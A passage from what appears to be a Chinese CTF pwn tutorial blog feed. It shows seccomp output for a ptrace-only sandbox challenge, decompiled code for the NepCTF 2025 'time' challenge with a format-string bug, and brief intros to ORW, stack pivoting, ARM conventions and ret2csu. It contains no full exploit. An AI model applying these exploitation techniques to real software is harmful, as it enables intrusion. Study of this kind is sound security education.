<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt" id="hl-0-1"><a class="lnlinks" href="#hl-0-1">1</a>
</span><span class="lnt" id="hl-0-2"><a class="lnlinks" href="#hl-0-2">2</a>
</span><span class="lnt" id="hl-0-3"><a class="lnlinks" href="#hl-0-3">3</a>
</span><span class="lnt" id="hl-0-4"><a class="lnlinks" href="#hl-0-4">4</a>
</span><span class="lnt" id="hl-0-5"><a class="lnlinks" href="#hl-0-5">5</a>
</span><span class="lnt" id="hl-0-6"><a class="lnlinks" href="#hl-0-6">6</a>
</span><span class="lnt" id="hl-0-7"><a class="lnlinks" href="#hl-0-7">7</a>
</span><span class="lnt" id="hl-0-8"><a class="lnlinks" href="#hl-0-8">8</a>
</span><span class="lnt" id="hl-0-9"><a class="lnlinks" href="#hl-0-9">9</a>
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">~/P/n/smallbox ❯❯❯ seccomp-tools dump ./smallbox <span class="o">(</span>.venv<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">[</span>+<span class="o">]</span> please input your shellcode:
</span></span><span class="line"><span class="cl">ls
</span></span><span class="line"><span class="cl"> line CODE JT JF <span class="nv">K</span>
</span></span><span class="line"><span class="cl"><span class="o">=================================</span>
</span></span><span class="line"><span class="cl"> 0000: 0x20 0x00 0x00 0x00000000 <span class="nv">A</span> <span class="o">=</span> sys_number
</span></span><span class="line"><span class="cl"> 0001: 0x15 0x00 0x01 0x00000065 <span class="k">if</span> <span class="o">(</span>A !<span class="o">=</span> ptrace<span class="o">)</span> goto <span class="m">0003</span>
</span></span><span class="line"><span class="cl"> 0002: 0x06 0x00 0x00 0x7fff0000 <span class="k">return</span> ALLOW
</span></span><span class="line"><span class="cl"> 0003: 0x06 0x00 0x00 0x00000000 <span class="k">return</span> KILL</span></span></code></pre></td></tr></table>
</div>
</div>
<h3 id="ptrace-系统调用">ptrace 系统调用
<a class="header-anchor" href="#ptrace-%e7%b3%bb%e7%bb%9f%e8%b0%83%e7%94%a8"></a>
</h3><p>ptrace 是 Linux 中的一个系统调用，可以让父进程控制子进程运行，并可以检查和改变子进程的内存和寄存器状态。它通常用于调试器和沙箱环境中。</p></description></item><item><title>从零开始的 Pwn 之旅 - 条件竞争</title><link>/posts/%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E7%9A%84-pwn-%E4%B9%8B%E6%97%85---%E6%9D%A1%E4%BB%B6%E7%AB%9E%E4%BA%89/</link><pubDate>Sun, 27 Jul 2025 20:13:08 +0800</pubDate><guid>/posts/%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E7%9A%84-pwn-%E4%B9%8B%E6%97%85---%E6%9D%A1%E4%BB%B6%E7%AB%9E%E4%BA%89/</guid><description><h2 id="前言">前言
<a class="header-anchor" href="#%e5%89%8d%e8%a8%80"></a>
</h2><p>条件竞争通常发生在多个线程或进程同时访问共享资源时，导致程序行为不可预测。</p>
<h2 id="例题">例题
<a class="header-anchor" href="#%e4%be%8b%e9%a2%98"></a>
</h2><h3 id="nepctf-2025---time">NepCtf 2025 - time
<a class="header-anchor" href="#nepctf-2025---time"></a>
</h3>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt" id="hl-0-1"><a class="lnlinks" href="#hl-0-1">1</a>
</span><span class="lnt" id="hl-0-2"><a class="lnlinks" href="#hl-0-2">2</a>
</span><span class="lnt" id="hl-0-3"><a class="lnlinks" href="#hl-0-3">3</a>
</span><span class="lnt" id="hl-0-4"><a class="lnlinks" href="#hl-0-4">4</a>
</span><span class="lnt" id="hl-0-5"><a class="lnlinks" href="#hl-0-5">5</a>
</span><span class="lnt" id="hl-0-6"><a class="lnlinks" href="#hl-0-6">6</a>
</span><span class="lnt" id="hl-0-7"><a class="lnlinks" href="#hl-0-7">7</a>
</span><span class="lnt" id="hl-0-8"><a class="lnlinks" href="#hl-0-8">8</a>
</span><span class="lnt" id="hl-0-9"><a class="lnlinks" href="#hl-0-9">9</a>
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">~/P/n/time ❯❯❯ pwn checksec ./time <span class="o">(</span>.venv<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">[</span>*<span class="o">]</span> <span class="s1">&#39;/home/lhon901/Pwn/nepctf2025/time/time&#39;</span>
</span></span><span class="line"><span class="cl"> Arch: amd64-64-little
</span></span><span class="line"><span class="cl"> RELRO: Full RELRO
</span></span><span class="line"><span class="cl"> Stack: Canary found
</span></span><span class="line"><span class="cl"> NX: NX enabled
</span></span><span class="line"><span class="cl"> PIE: PIE enabled
</span></span><span class="line"><span class="cl"> SHSTK: Enabled
</span></span><span class="line"><span class="cl"> IBT: Enabled</span></span></code></pre></td></tr></table>
</div>
</div>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt" id="hl-1-1"><a class="lnlinks" href="#hl-1-1"> 1</a>
</span><span class="lnt" id="hl-1-2"><a class="lnlinks" href="#hl-1-2"> 2</a>
</span><span class="lnt" id="hl-1-3"><a class="lnlinks" href="#hl-1-3"> 3</a>
</span><span class="lnt" id="hl-1-4"><a class="lnlinks" href="#hl-1-4"> 4</a>
</span><span class="lnt" id="hl-1-5"><a class="lnlinks" href="#hl-1-5"> 5</a>
</span><span class="lnt" id="hl-1-6"><a class="lnlinks" href="#hl-1-6"> 6</a>
</span><span class="lnt" id="hl-1-7"><a class="lnlinks" href="#hl-1-7"> 7</a>
</span><span class="lnt" id="hl-1-8"><a class="lnlinks" href="#hl-1-8"> 8</a>
</span><span class="lnt" id="hl-1-9"><a class="lnlinks" href="#hl-1-9"> 9</a>
</span><span class="lnt" id="hl-1-10"><a class="lnlinks" href="#hl-1-10">10</a>
</span><span class="lnt" id="hl-1-11"><a class="lnlinks" href="#hl-1-11">11</a>
</span><span class="lnt" id="hl-1-12"><a class="lnlinks" href="#hl-1-12">12</a>
</span><span class="lnt" id="hl-1-13"><a class="lnlinks" href="#hl-1-13">13</a>
</span><span class="lnt" id="hl-1-14"><a class="lnlinks" href="#hl-1-14">14</a>
</span><span class="lnt" id="hl-1-15"><a class="lnlinks" href="#hl-1-15">15</a>
</span><span class="lnt" id="hl-1-16"><a class="lnlinks" href="#hl-1-16">16</a>
</span><span class="lnt" id="hl-1-17"><a class="lnlinks" href="#hl-1-17">17</a>
</span><span class="lnt" id="hl-1-18"><a class="lnlinks" href="#hl-1-18">18</a>
</span><span class="lnt" id="hl-1-19"><a class="lnlinks" href="#hl-1-19">19</a>
</span><span class="lnt" id="hl-1-20"><a class="lnlinks" href="#hl-1-20">20</a>
</span><span class="lnt" id="hl-1-21"><a class="lnlinks" href="#hl-1-21">21</a>
</span><span class="lnt" id="hl-1-22"><a class="lnlinks" href="#hl-1-22">22</a>
</span><span class="lnt" id="hl-1-23"><a class="lnlinks" href="#hl-1-23">23</a>
</span><span class="lnt" id="hl-1-24"><a class="lnlinks" href="#hl-1-24">24</a>
</span><span class="lnt" id="hl-1-25"><a class="lnlinks" href="#hl-1-25">25</a>
</span><span class="lnt" id="hl-1-26"><a class="lnlinks" href="#hl-1-26">26</a>
</span><span class="lnt" id="hl-1-27"><a class="lnlinks" href="#hl-1-27">27</a>
</span><span class="lnt" id="hl-1-28"><a class="lnlinks" href="#hl-1-28">28</a>
</span><span class="lnt" id="hl-1-29"><a class="lnlinks" href="#hl-1-29">29</a>
</span><span class="lnt" id="hl-1-30"><a class="lnlinks" href="#hl-1-30">30</a>
</span><span class="lnt" id="hl-1-31"><a class="lnlinks" href="#hl-1-31">31</a>
</span><span class="lnt" id="hl-1-32"><a class="lnlinks" href="#hl-1-32">32</a>
</span><span class="lnt" id="hl-1-33"><a class="lnlinks" href="#hl-1-33">33</a>
</span><span class="lnt" id="hl-1-34"><a class="lnlinks" href="#hl-1-34">34</a>
</span><span class="lnt" id="hl-1-35"><a class="lnlinks" href="#hl-1-35">35</a>
</span><span class="lnt" id="hl-1-36"><a class="lnlinks" href="#hl-1-36">36</a>
</span><span class="lnt" id="hl-1-37"><a class="lnlinks" href="#hl-1-37">37</a>
</span><span class="lnt" id="hl-1-38"><a class="lnlinks" href="#hl-1-38">38</a>
</span><span class="lnt" id="hl-1-39"><a class="lnlinks" href="#hl-1-39">39</a>
</span><span class="lnt" id="hl-1-40"><a class="lnlinks" href="#hl-1-40">40</a>
</span><span class="lnt" id="hl-1-41"><a class="lnlinks" href="#hl-1-41">41</a>
</span><span class="lnt" id="hl-1-42"><a class="lnlinks" href="#hl-1-42">42</a>
</span><span class="lnt" id="hl-1-43"><a class="lnlinks" href="#hl-1-43">43</a>
</span><span class="lnt" id="hl-1-44"><a class="lnlinks" href="#hl-1-44">44</a>
</span><span class="lnt" id="hl-1-45"><a class="lnlinks" href="#hl-1-45">45</a>
</span><span class="lnt" id="hl-1-46"><a class="lnlinks" href="#hl-1-46">46</a>
</span><span class="lnt" id="hl-1-47"><a class="lnlinks" href="#hl-1-47">47</a>
</span><span class="lnt" id="hl-1-48"><a class="lnlinks" href="#hl-1-48">48</a>
</span><span class="lnt" id="hl-1-49"><a class="lnlinks" href="#hl-1-49">49</a>
</span><span class="lnt" id="hl-1-50"><a class="lnlinks" href="#hl-1-50">50</a>
</span><span class="lnt" id="hl-1-51"><a class="lnlinks" href="#hl-1-51">51</a>
</span><span class="lnt" id="hl-1-52"><a class="lnlinks" href="#hl-1-52">52</a>
</span><span class="lnt" id="hl-1-53"><a class="lnlinks" href="#hl-1-53">53</a>
</span><span class="lnt" id="hl-1-54"><a class="lnlinks" href="#hl-1-54">54</a>
</span><span class="lnt" id="hl-1-55"><a class="lnlinks" href="#hl-1-55">55</a>
</span><span class="lnt" id="hl-1-56"><a class="lnlinks" href="#hl-1-56">56</a>
</span><span class="lnt" id="hl-1-57"><a class="lnlinks" href="#hl-1-57">57</a>
</span><span class="lnt" id="hl-1-58"><a class="lnlinks" href="#hl-1-58">58</a>
</span><span class="lnt" id="hl-1-59"><a class="lnlinks" href="#hl-1-59">59</a>
</span><span class="lnt" id="hl-1-60"><a class="lnlinks" href="#hl-1-60">60</a>
</span><span class="lnt" id="hl-1-61"><a class="lnlinks" href="#hl-1-61">61</a>
</span><span class="lnt" id="hl-1-62"><a class="lnlinks" href="#hl-1-62">62</a>
</span><span class="lnt" id="hl-1-63"><a class="lnlinks" href="#hl-1-63">63</a>
</span><span class="lnt" id="hl-1-64"><a class="lnlinks" href="#hl-1-64">64</a>
</span><span class="lnt" id="hl-1-65"><a class="lnlinks" href="#hl-1-65">65</a>
</span><span class="lnt" id="hl-1-66"><a class="lnlinks" href="#hl-1-66">66</a>
</span><span class="lnt" id="hl-1-67"><a class="lnlinks" href="#hl-1-67">67</a>
</span><span class="lnt" id="hl-1-68"><a class="lnlinks" href="#hl-1-68">68</a>
</span><span class="lnt" id="hl-1-69"><a class="lnlinks" href="#hl-1-69">69</a>
</span><span class="lnt" id="hl-1-70"><a class="lnlinks" href="#hl-1-70">70</a>
</span><span class="lnt" id="hl-1-71"><a class="lnlinks" href="#hl-1-71">71</a>
</span><span class="lnt" id="hl-1-72"><a class="lnlinks" href="#hl-1-72">72</a>
</span><span class="lnt" id="hl-1-73"><a class="lnlinks" href="#hl-1-73">73</a>
</span><span class="lnt" id="hl-1-74"><a class="lnlinks" href="#hl-1-74">74</a>
</span><span class="lnt" id="hl-1-75"><a class="lnlinks" href="#hl-1-75">75</a>
</span><span class="lnt" id="hl-1-76"><a class="lnlinks" href="#hl-1-76">76</a>
</span><span class="lnt" id="hl-1-77"><a class="lnlinks" href="#hl-1-77">77</a>
</span><span class="lnt" id="hl-1-78"><a class="lnlinks" href="#hl-1-78">78</a>
</span><span class="lnt" id="hl-1-79"><a class="lnlinks" href="#hl-1-79">79</a>
</span><span class="lnt" id="hl-1-80"><a class="lnlinks" href="#hl-1-80">80</a>
</span><span class="lnt" id="hl-1-81"><a class="lnlinks" href="#hl-1-81">81</a>
</span><span class="lnt" id="hl-1-82"><a class="lnlinks" href="#hl-1-82">82</a>
</span><span class="lnt" id="hl-1-83"><a class="lnlinks" href="#hl-1-83">83</a>
</span><span class="lnt" id="hl-1-84"><a class="lnlinks" href="#hl-1-84">84</a>
</span><span class="lnt" id="hl-1-85"><a class="lnlinks" href="#hl-1-85">85</a>
</span><span class="lnt" id="hl-1-86"><a class="lnlinks" href="#hl-1-86">86</a>
</span><span class="lnt" id="hl-1-87"><a class="lnlinks" href="#hl-1-87">87</a>
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="kt">void</span> <span class="kr">__fastcall</span> <span class="n">__noreturn</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">a1</span><span class="p">,</span> <span class="kt">char</span> <span class="o">**</span><span class="n">a2</span><span class="p">,</span> <span class="kt">char</span> <span class="o">**</span><span class="n">a3</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="kt">pthread_t</span> <span class="n">newthread</span><span class="p">[</span><span class="mi">2</span><span class="p">];</span> <span class="c1">// [rsp+0h] [rbp-10h] BYREF
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"> <span class="n">newthread</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="nf">__readfsqword</span><span class="p">(</span><span class="mh">0x28u</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="nf">setbuf</span><span class="p">(</span><span class="n">stdin</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="nf">setbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="nf">setbuf</span><span class="p">(</span><span class="n">stderr</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="nf">sub_2A31</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"> <span class="k">while</span> <span class="p">(</span> <span class="mi">1</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl"> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="k">while</span> <span class="p">(</span> <span class="o">!</span><span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)</span><span class="nf">sub_2B0F</span><span class="p">()</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl"> <span class="p">;</span>
</span></span><span class="line"><span class="cl"> <span class="nf">pthread_create</span><span class="p">(</span><span class="n">newthread</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">start_routine</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">unsigned</span> <span class="kr">__int64</span> <span class="nf">sub_2A31</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="kt">char</span> <span class="o">*</span><span class="n">argv</span><span class="p">[</span><span class="mi">5</span><span class="p">];</span> <span class="c1">// [rsp+10h] [rbp-30h] BYREF
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="kt">unsigned</span> <span class="kr">__int64</span> <span class="n">v2</span><span class="p">;</span> <span class="c1">// [rsp+38h] [rbp-8h]
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"> <span class="n">v2</span> <span class="o">=</span> <span class="nf">__readfsqword</span><span class="p">(</span><span class="mh">0x28u</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;please input your name:&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="nf">__isoc99_scanf</span><span class="p">(</span><span class="s">&#34;%100s&#34;</span><span class="p">,</span> <span class="n">byte_50A0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;I will tell you all file names in the current directory!&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="n">argv</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="s">&#34;/bin/ls&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"> <span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="s">&#34;/&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"> <span class="n">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">=</span> <span class="s">&#34;-al&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"> <span class="n">argv</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="p">(</span> <span class="o">!</span><span class="nf">fork</span><span class="p">()</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl"> <span class="nf">execve</span><span class="p">(</span><span class="s">&#34;/bin/ls&#34;</span><span class="p">,</span> <span class="n">argv</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="nf">wait</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;good luck :-)&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="k">return</span> <span class="n">v2</span> <span class="o">-</span> <span class="nf">__readfsqword</span><span class="p">(</span><span class="mh">0x28u</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kr">__int64</span> <span class="nf">sub_2B0F</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;input file name you want to read:&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="nf">__isoc99_scanf</span><span class="p">(</span><span class="s">&#34;%s&#34;</span><span class="p">,</span> <span class="n">file</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="p">(</span> <span class="o">!</span><span class="nf">strstr</span><span class="p">(</span><span class="n">file</span><span class="p">,</span> <span class="s">&#34;flag&#34;</span><span class="p">)</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl"> <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"> <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;flag is not allowed!&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">unsigned</span> <span class="kr">__int64</span> <span class="kr">__fastcall</span> <span class="nf">start_routine</span><span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="n">a1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">v1</span><span class="p">;</span> <span class="c1">// eax
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="kt">int</span> <span class="n">i</span><span class="p">;</span> <span class="c1">// [rsp+4h] [rbp-46Ch]
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="kt">int</span> <span class="n">j</span><span class="p">;</span> <span class="c1">// [rsp+8h] [rbp-468h]
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="kt">int</span> <span class="n">fd</span><span class="p">;</span> <span class="c1">// [rsp+Ch] [rbp-464h]
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="n">_BYTE</span> <span class="n">v6</span><span class="p">[</span><span class="mi">96</span><span class="p">];</span> <span class="c1">// [rsp+10h] [rbp-460h] BYREF
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="n">_BYTE</span> <span class="n">v7</span><span class="p">[</span><span class="mi">16</span><span class="p">];</span> <span class="c1">// [rsp+70h] [rbp-400h] BYREF
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="n">_BYTE</span> <span class="n">buf</span><span class="p">[</span><span class="mi">1000</span><span class="p">];</span> <span class="c1">// [rsp+80h] [rbp-3F0h] BYREF
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="kt">unsigned</span> <span class="kr">__int64</span> <span class="n">v9</span><span class="p">;</span> <span class="c1">// [rsp+468h] [rbp-8h]
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"> <span class="n">v9</span> <span class="o">=</span> <span class="nf">__readfsqword</span><span class="p">(</span><span class="mh">0x28u</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="nf">sub_1329</span><span class="p">(</span><span class="n">v6</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="n">v1</span> <span class="o">=</span> <span class="nf">strlen</span><span class="p">(</span><span class="n">file</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="nf">sub_1379</span><span class="p">(</span><span class="n">v6</span><span class="p">,</span> <span class="n">file</span><span class="p">,</span> <span class="n">v1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="nf">sub_14CB</span><span class="p">(</span><span class="n">v6</span><span class="p">,</span> <span class="n">v7</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;I will tell you last file name content in md5:&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="k">for</span> <span class="p">(</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;=</span> <span class="mi">15</span><span class="p">;</span> <span class="o">++</span><span class="n">i</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl"> <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;%02X&#34;</span><span class="p">,</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kr">__int8</span><span class="p">)</span><span class="n">v7</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl"> <span class="nf">putchar</span><span class="p">(</span><span class="mi">10</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="k">for</span> <span class="p">(</span> <span class="n">j</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">j</span> <span class="o">&lt;=</span> <span class="mi">999</span><span class="p">;</span> <span class="o">++</span><span class="n">j</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl"> <span class="n">buf</span><span class="p">[</span><span class="n">j</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"> <span class="n">fd</span> <span class="o">=</span> <span class="nf">open</span><span class="p">(</span><span class="n">file</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="p">(</span> <span class="n">fd</span> <span class="o">&gt;=</span> <span class="mi">0</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl"> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="nf">read</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="mh">0x3E8u</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="nf">close</span><span class="p">(</span><span class="n">fd</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;hello &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="nf">printf</span><span class="p">(</span><span class="n">byte_50A0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="nf">puts</span><span class="p">(</span><span class="s">&#34; ,your file read done!&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span>
</span></span><span class="line"><span class="cl"> <span class="k">else</span>
</span></span><span class="line"><span class="cl"> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;file not found!&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span>
</span></span><span class="line"><span class="cl"> <span class="k">return</span> <span class="n">v9</span> <span class="o">-</span> <span class="nf">__readfsqword</span><span class="p">(</span><span class="mh">0x28u</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></td></tr></table>
</div>
</div>
<p>程序只有这一个非栈上格式化字符串漏洞</p></description></item><item><title>从零开始的 Pwn 之旅 异架构 Arm</title><link>/posts/%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E7%9A%84-pwn-%E4%B9%8B%E6%97%85---%E5%BC%82%E6%9E%B6%E6%9E%84-arm/</link><pubDate>Sat, 19 Jul 2025 13:26:25 +0800</pubDate><guid>/posts/%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E7%9A%84-pwn-%E4%B9%8B%E6%97%85---%E5%BC%82%E6%9E%B6%E6%9E%84-arm/</guid><description><h2 id="arm-汇编速探">Arm 汇编速探
<a class="header-anchor" href="#arm-%e6%b1%87%e7%bc%96%e9%80%9f%e6%8e%a2"></a>
</h2><h3 id="函数调用约定">函数调用约定
<a class="header-anchor" href="#%e5%87%bd%e6%95%b0%e8%b0%83%e7%94%a8%e7%ba%a6%e5%ae%9a"></a>
</h3><ul>
<li><input disabled="" type="checkbox"> TODO: 写一片文章介绍 arm 汇编相关知识</li>
</ul>
<h4 id="arm32aarch32调用约定">ARM32（AArch32）调用约定
<a class="header-anchor" href="#arm32aarch32%e8%b0%83%e7%94%a8%e7%ba%a6%e5%ae%9a"></a>
</h4><ul>
<li>
<p>前 4 个参数：<code>r0 ~ r3</code></p>
</li>
<li>
<p>返回值：<code>r0</code></p>
</li>
<li>
<p>多余参数：栈上传递，<strong>从右往左</strong>入栈</p>
</li>
<li>
<p>堆栈平衡：<strong>被调用函数</strong>负责</p>
</li>
<li>
<p>函数调用：<code>bl</code>/<code>b</code>，返回用 <code>bx lr</code> 或 <code>mov pc, lr</code></p></description></item><item><title>从零开始的 Pwn 之旅 - ORW</title><link>/posts/%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E7%9A%84-pwn-%E4%B9%8B%E6%97%85---orw/</link><pubDate>Sat, 19 Jul 2025 10:49:56 +0800</pubDate><guid>/posts/%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E7%9A%84-pwn-%E4%B9%8B%E6%97%85---orw/</guid><description><h2 id="orw-初识">ORW 初识
<a class="header-anchor" href="#orw-%e5%88%9d%e8%af%86"></a>
</h2><p>ORW类题目是指程序开了沙箱保护，禁用了一些函数的调用（如 execve等），使得我们并不能正常 get shell，只能通过ROP的方式调用open, read, write的来读取并打印flag 内容</p></description></item><item><title>从零开始的 Pwn 之旅 - 栈迁移</title><link>/posts/%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E7%9A%84-pwn-%E4%B9%8B%E6%97%85---%E6%A0%88%E8%BF%81%E7%A7%BB/</link><pubDate>Sun, 13 Jul 2025 12:55:08 +0800</pubDate><guid>/posts/%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E7%9A%84-pwn-%E4%B9%8B%E6%97%85---%E6%A0%88%E8%BF%81%E7%A7%BB/</guid><description><h2 id="栈迁移初识">栈迁移初识
<a class="header-anchor" href="#%e6%a0%88%e8%bf%81%e7%a7%bb%e5%88%9d%e8%af%86"></a>
</h2><ul>
<li>当我们栈溢出可用字节较少, 可以考虑进行栈迁移</li>
<li>程序开启了 PIE 保护机制，栈地址未知，我们可以将栈劫持到已知的地址</li>
<li>其它漏洞难以利用，我们需要进行转换，比如说将栈劫持到堆空间，从而在堆上写 rop 及进行堆漏洞利用</li>
</ul>
<p>让我们来深入了解 <code>leave</code> 和 <code>ret</code> 指令</p></description></item><item><title>从零开始的 Pwn 之旅 - Ret2csu</title><link>/posts/%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E7%9A%84-pwn-%E4%B9%8B%E6%97%85---ret2csu/</link><pubDate>Sat, 12 Jul 2025 10:51:54 +0800</pubDate><guid>/posts/%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E7%9A%84-pwn-%E4%B9%8B%E6%97%85---ret2csu/</guid><description><h2 id="前言">前言
<a class="header-anchor" href="#%e5%89%8d%e8%a8%80"></a>
</h2><p>正常程序中是不可能有许多可利用的 gadget的，通常只有一个或几个 gadget 可以利用
ret2csu 是一个常见的 gadget，通常在使用 C++ 的程序中会有这个 gadget</p>
<h2 id="程序解读">程序解读
<a class="header-anchor" href="#%e7%a8%8b%e5%ba%8f%e8%a7%a3%e8%af%bb"></a>
</h2><p>
